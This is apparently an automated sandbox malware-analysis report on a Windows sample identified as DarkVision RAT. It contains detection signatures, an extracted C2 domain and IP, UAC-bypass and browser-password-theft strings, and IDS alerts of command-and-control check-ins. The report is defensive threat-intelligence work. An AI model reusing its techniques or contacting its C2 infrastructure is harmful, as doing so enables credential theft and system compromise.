Edit tour

Windows Analysis Report
uncrypted.exe

Overview

General Information

Sample name:	uncrypted.exe
Analysis ID:	1582630
MD5:	84e8a17e39ef16dce73da924ced012d5
SHA1:	630f2eb6046e05450c10af2a4ae01840e0a19405
SHA256:	bebe3cadd1d51412d055ba11ebc64091c45e2ef47dbcc7135d2d762f26a466c2
Tags:	exeuser-lontze7
Infos:

Detection

DarkVision Rat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected DarkVision Rat

Yara detected UAC Bypass using CMSTP

.NET source code references suspicious native API functions

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to steal Chrome passwords or cookies

Contains functionality to steal saved passwords of Firefox

Found evasive API chain (may stop execution after checking mutex)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Searches for specific processes (likely to inject)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Uses dynamic DNS services

Uses known network protocols on non-standard ports

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Extensive use of GetProcAddress (often used to hide API calls)

Found decision node followed by non-executed suspicious APIs

Found evaded block containing many API calls

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Remote Thread Creation By Uncommon Source Image

Stores large binary data to the registry

Terminates after testing mutex exists (may check infected machine status)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

uncrypted.exe (PID: 3856 cmdline: "C:\Users\user\Desktop\uncrypted.exe" MD5: 84E8A17E39EF16DCE73DA924CED012D5)

uncrypted.exe (PID: 2892 cmdline: "C:\Users\user\Desktop\uncrypted.exe" MD5: 84E8A17E39EF16DCE73DA924CED012D5)

explorer.exe (PID: 5060 cmdline: "C:\Windows\explorer.exe" MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 5032 cmdline: C:\Windows\EXPLORER.EXE {2046C745-B848-47EE-8068-B039EAC15A1C} MD5: 662F4F92FDE3557E86D110526BB578D5)

cleanup

Malware Configuration

Threatname: DarkVision Rat

{"C2": "jholo.duckdns.org", "Port": 8900}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2055171521.0000000003F40000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000000.00000002.2055171521.0000000003F40000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.2055171521.00000000040F9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000000.00000002.2055171521.00000000040F9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.2055171521.0000000003FFF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000000.00000002.2055171521.0000000003FFF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000002.00000002.2041385974.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000002.00000002.2041385974.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x34588:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x344c8:$s1: CoGetObject 0x34550:$s2: Elevation:Administrator!new:
00000000.00000002.2054936122.0000000002D81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000000.00000002.2054936122.0000000002D81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: uncrypted.exe PID: 3856	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: uncrypted.exe PID: 3856	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: uncrypted.exe PID: 2892	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: uncrypted.exe PID: 2892	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: explorer.exe PID: 5060	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: explorer.exe PID: 5060	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.uncrypted.exe.400000.0.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
2.2.uncrypted.exe.400000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
2.2.uncrypted.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x34588:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x344c8:$s1: CoGetObject 0x34550:$s2: Elevation:Administrator!new:
2.2.uncrypted.exe.11edea0.1.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
2.2.uncrypted.exe.11edea0.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
2.2.uncrypted.exe.11edea0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x36ee8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x36e18:$s1: CoGetObject 0x36eb0:$s2: Elevation:Administrator!new:
0.2.uncrypted.exe.4081f90.4.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0.2.uncrypted.exe.4081f90.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.uncrypted.exe.4081f90.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x32b88:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x32ac8:$s1: CoGetObject 0x32b50:$s2: Elevation:Administrator!new:
2.2.uncrypted.exe.11edea0.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
2.2.uncrypted.exe.11edea0.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x362e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x36218:$s1: CoGetObject 0x362b0:$s2: Elevation:Administrator!new:
0.2.uncrypted.exe.41021c0.2.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0.2.uncrypted.exe.41021c0.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.uncrypted.exe.41021c0.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x32b88:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x32ac8:$s1: CoGetObject 0x32b50:$s2: Elevation:Administrator!new:
3.2.explorer.exe.1190000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
3.2.explorer.exe.1190000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
3.2.explorer.exe.1190000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x36ee8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x36e18:$s1: CoGetObject 0x36eb0:$s2: Elevation:Administrator!new:
0.2.uncrypted.exe.4081f90.4.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.uncrypted.exe.4081f90.4.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x31f88:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x31ec8:$s1: CoGetObject 0x31f50:$s2: Elevation:Administrator!new:
2.2.uncrypted.exe.400000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
2.2.uncrypted.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
2.2.uncrypted.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x32b88:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x32ac8:$s1: CoGetObject 0x32b50:$s2: Elevation:Administrator!new:
0.2.uncrypted.exe.41021c0.2.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.uncrypted.exe.41021c0.2.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x31f88:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x31ec8:$s1: CoGetObject 0x31f50:$s2: Elevation:Administrator!new:
4.2.explorer.exe.e70000.0.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0xd5c68:$string1: SELECT origin_url, username_value, password_value FROM logins 0xd5ec8:$string1: SELECT origin_url, username_value, password_value FROM logins 0xd6128:$string1: SELECT origin_url, username_value, password_value FROM logins 0xd6388:$string1: SELECT origin_url, username_value, password_value FROM logins 0xd6d38:$string1: SELECT origin_url, username_value, password_value FROM logins 0xe83a8:$string2: API call with %s database connection pointer 0xe9a60:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 20 entries

Sigma Signatures

System Summary

Sigma detected: Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\explorer.exe, SourceProcessId: 5060, StartAddress: 790000, TargetImage: C:\Windows\explorer.exe, TargetProcessId: 5032

Suricata Signatures

ET MALWARE Win32/DarkVision RAT CnC Checkin M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T07:33:04.802221+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49706	5.89.185.156	8900	TCP
2024-12-31T07:33:13.838339+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49707	5.89.185.156	8900	TCP
2024-12-31T07:33:22.853752+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49720	5.89.185.156	8900	TCP
2024-12-31T07:33:31.892912+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49781	5.89.185.156	8900	TCP
2024-12-31T07:33:40.927898+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49837	5.89.185.156	8900	TCP
2024-12-31T07:33:49.983774+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49898	5.89.185.156	8900	TCP
2024-12-31T07:33:58.994424+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49960	5.89.185.156	8900	TCP
2024-12-31T07:34:08.143325+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49985	5.89.185.156	8900	TCP
2024-12-31T07:34:17.166204+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49986	5.89.185.156	8900	TCP
2024-12-31T07:34:26.197336+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49987	5.89.185.156	8900	TCP
2024-12-31T07:34:35.228839+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49988	5.89.185.156	8900	TCP
2024-12-31T07:34:44.244638+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49989	5.89.185.156	8900	TCP
2024-12-31T07:34:53.025515+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49990	5.89.185.156	8900	TCP
2024-12-31T07:35:01.478246+0100	2045618	1	A Network Trojan was detected	192.168.2.5	49991	5.89.185.156	8900	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: uncrypted.exe

Avira: detected

Found malware configuration

Source: 3.2.explorer.exe.1190000.0.unpack

Malware Configuration Extractor: DarkVision Rat {"C2": "jholo.duckdns.org", "Port": 8900}

Multi AV Scanner detection for submitted file

Source: uncrypted.exe	Virustotal: Detection: 61%			Perma Link
Source: uncrypted.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: uncrypted.exe

Joe Sandbox ML: detected

Source: C:\Windows\explorer.exe	Code function: 3_2_011953B0 LocalAlloc,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,CryptBinaryToStringW,CryptBinaryToStringW,lstrcpyW,LocalFree,WaitForSingleObject,RtlExitUserThread,WaitForMultipleObjects,WaitForSingleObject,GetExitCodeProcess,WaitForSingleObject,WaitForSingleObject,CloseHandle,CloseHandle,LocalFree,LocalFree,CloseHandle,CloseHandle,	3_2_011953B0
Source: C:\Windows\explorer.exe	Code function: 3_2_011ADC00 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	3_2_011ADC00
Source: C:\Windows\explorer.exe	Code function: 3_2_011ADD1E CryptReleaseContext,CryptDestroyHash,	3_2_011ADD1E
Source: C:\Windows\explorer.exe	Code function: 3_2_011ADD5A CryptReleaseContext,CryptDestroyHash,	3_2_011ADD5A
Source: C:\Windows\explorer.exe	Code function: 3_2_011ADD8F CryptReleaseContext,CryptDestroyHash,	3_2_011ADD8F
Source: C:\Windows\explorer.exe	Code function: 3_2_011ADCF7 CryptReleaseContext,CryptDestroyHash,	3_2_011ADCF7
Source: C:\Windows\explorer.exe	Code function: 4_2_00E751C0 SHGetKnownFolderPath,LocalAlloc,CreateFileW,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,type_info::_name_internal_method,CryptUnprotectData,free,LocalFree,LocalFree,CoTaskMemFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CoTaskMemFree,	4_2_00E751C0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E7A390 LocalAlloc,CreateFileW,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,type_info::_name_internal_method,CryptUnprotectData,free,LocalFree,LocalFree,CoTaskMemFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CoTaskMemFree,	4_2_00E7A390
Source: C:\Windows\explorer.exe	Code function: 4_2_00E754C0 LocalAlloc,wsprintfW,_snprintf,wsprintfW,wsprintfW,wsprintfW,CryptUnprotectData,wsprintfW,MultiByteToWideChar,wsprintfW,LocalFree,wsprintfW,wsprintfW,__ExceptionPtrDestroy,wsprintfW,LocalFree,LocalFree,lstrlenW,LocalFree,	4_2_00E754C0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E748C0 SHGetKnownFolderPath,LocalAlloc,CreateFileW,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,type_info::_name_internal_method,CryptUnprotectData,free,LocalFree,LocalFree,CoTaskMemFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CoTaskMemFree,	4_2_00E748C0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E799B0 CryptBinaryToStringW,RegGetValueW,	4_2_00E799B0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E79AE0 CryptBinaryToStringW,RegOpenKeyW,RegSetValueExW,RegCloseKey,RegCloseKey,	4_2_00E79AE0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E74BC0 SHGetKnownFolderPath,LocalAlloc,CreateFileW,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,type_info::_name_internal_method,CryptUnprotectData,free,LocalFree,LocalFree,CoTaskMemFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CoTaskMemFree,	4_2_00E74BC0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E79C20 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	4_2_00E79C20
Source: C:\Windows\explorer.exe	Code function: 4_2_00E76D60 LocalAlloc,wsprintfW,_snprintf,wsprintfW,wsprintfW,wsprintfW,CryptUnprotectData,wsprintfW,MultiByteToWideChar,wsprintfW,LocalFree,wsprintfW,wsprintfW,__ExceptionPtrDestroy,wsprintfW,LocalFree,lstrlenW,LocalFree,LocalFree,	4_2_00E76D60
Source: C:\Windows\explorer.exe	Code function: 4_2_00E74EC0 SHGetKnownFolderPath,LocalAlloc,CreateFileW,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,type_info::_name_internal_method,CryptUnprotectData,free,LocalFree,LocalFree,CoTaskMemFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CoTaskMemFree,	4_2_00E74EC0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E76530 LocalAlloc,wsprintfW,_snprintf,wsprintfW,wsprintfW,wsprintfW,CryptUnprotectData,wsprintfW,MultiByteToWideChar,wsprintfW,LocalFree,wsprintfW,wsprintfW,__ExceptionPtrDestroy,wsprintfW,LocalFree,LocalFree,lstrlenW,LocalFree,	4_2_00E76530
Source: C:\Windows\explorer.exe	Code function: 4_2_00E7A690 LocalAlloc,wsprintfW,_snprintf,wsprintfW,wsprintfW,wsprintfW,CryptUnprotectData,wsprintfW,MultiByteToWideChar,wsprintfW,LocalFree,wsprintfW,wsprintfW,__ExceptionPtrDestroy,wsprintfW,LocalFree,LocalFree,LocalFree,	4_2_00E7A690
Source: C:\Windows\explorer.exe	Code function: 4_2_00E79DAF CryptReleaseContext,CryptDestroyHash,	4_2_00E79DAF
Source: C:\Windows\explorer.exe	Code function: 4_2_00E73D60 CryptStringToBinaryA,	4_2_00E73D60
Source: C:\Windows\explorer.exe	Code function: 4_2_00E79D7A CryptReleaseContext,CryptDestroyHash,	4_2_00E79D7A
Source: C:\Windows\explorer.exe	Code function: 4_2_00E79D3E CryptReleaseContext,CryptDestroyHash,	4_2_00E79D3E
Source: C:\Windows\explorer.exe	Code function: 4_2_00E75D00 LocalAlloc,wsprintfW,_snprintf,wsprintfW,wsprintfW,wsprintfW,CryptUnprotectData,wsprintfW,MultiByteToWideChar,wsprintfW,LocalFree,wsprintfW,wsprintfW,__ExceptionPtrDestroy,wsprintfW,LocalFree,LocalFree,lstrlenW,LocalFree,	4_2_00E75D00
Source: C:\Windows\explorer.exe	Code function: 4_2_00E79D17 CryptReleaseContext,CryptDestroyHash,	4_2_00E79D17

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 2.2.uncrypted.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.uncrypted.exe.11edea0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.uncrypted.exe.4081f90.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.uncrypted.exe.11edea0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.uncrypted.exe.41021c0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.explorer.exe.1190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.uncrypted.exe.4081f90.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.uncrypted.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.uncrypted.exe.41021c0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2055171521.0000000003F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2055171521.00000000040F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2055171521.0000000003FFF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2041385974.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2054936122.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uncrypted.exe PID: 3856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uncrypted.exe PID: 2892, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5060, type: MEMORYSTR

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\uncrypted.exe

Unpacked PE file: 0.2.uncrypted.exe.9a0000.0.unpack

Source: uncrypted.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: uncrypted.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_0041DB70 WaitForSingleObject,LocalAlloc,LocalAlloc,FindFirstFileW,WaitForSingleObject,lstrcmpW,lstrcmpW,LocalAlloc,RemoveDirectoryW,GetLastError,LocalFree,DeleteFileW,FindNextFileW,FindClose,GetLastError,LocalFree,LocalFree,	2_2_0041DB70
Source: C:\Windows\explorer.exe	Code function: 3_2_011997F0 SHGetKnownFolderPath,lstrlenW,CoTaskMemFree,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	3_2_011997F0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E77EA0 LocalAlloc,StrCmpNIW,LocalAlloc,LocalAlloc,LocalAlloc,FindFirstFileW,lstrcmpiW,lstrcmpiW,LocalAlloc,GetTempPathW,LocalAlloc,GetTickCount,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,ReadFile,CloseHandle,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,lstrlenW,	4_2_00E77EA0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49707 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49720 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49781 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49837 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49898 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49960 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49986 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49987 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49989 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49991 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49985 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49990 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49988 -> 5.89.185.156:8900
Source: Network traffic	Suricata IDS: 2045618 - Severity 1 - ET MALWARE Win32/DarkVision RAT CnC Checkin M1 : 192.168.2.5:49706 -> 5.89.185.156:8900

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 5.89.185.156 8181

Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: jholo.duckdns.org

Uses dynamic DNS services

Source: unknown

DNS query: name: jholo.duckdns.org

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 5.89.185.156:8181

Source: global traffic

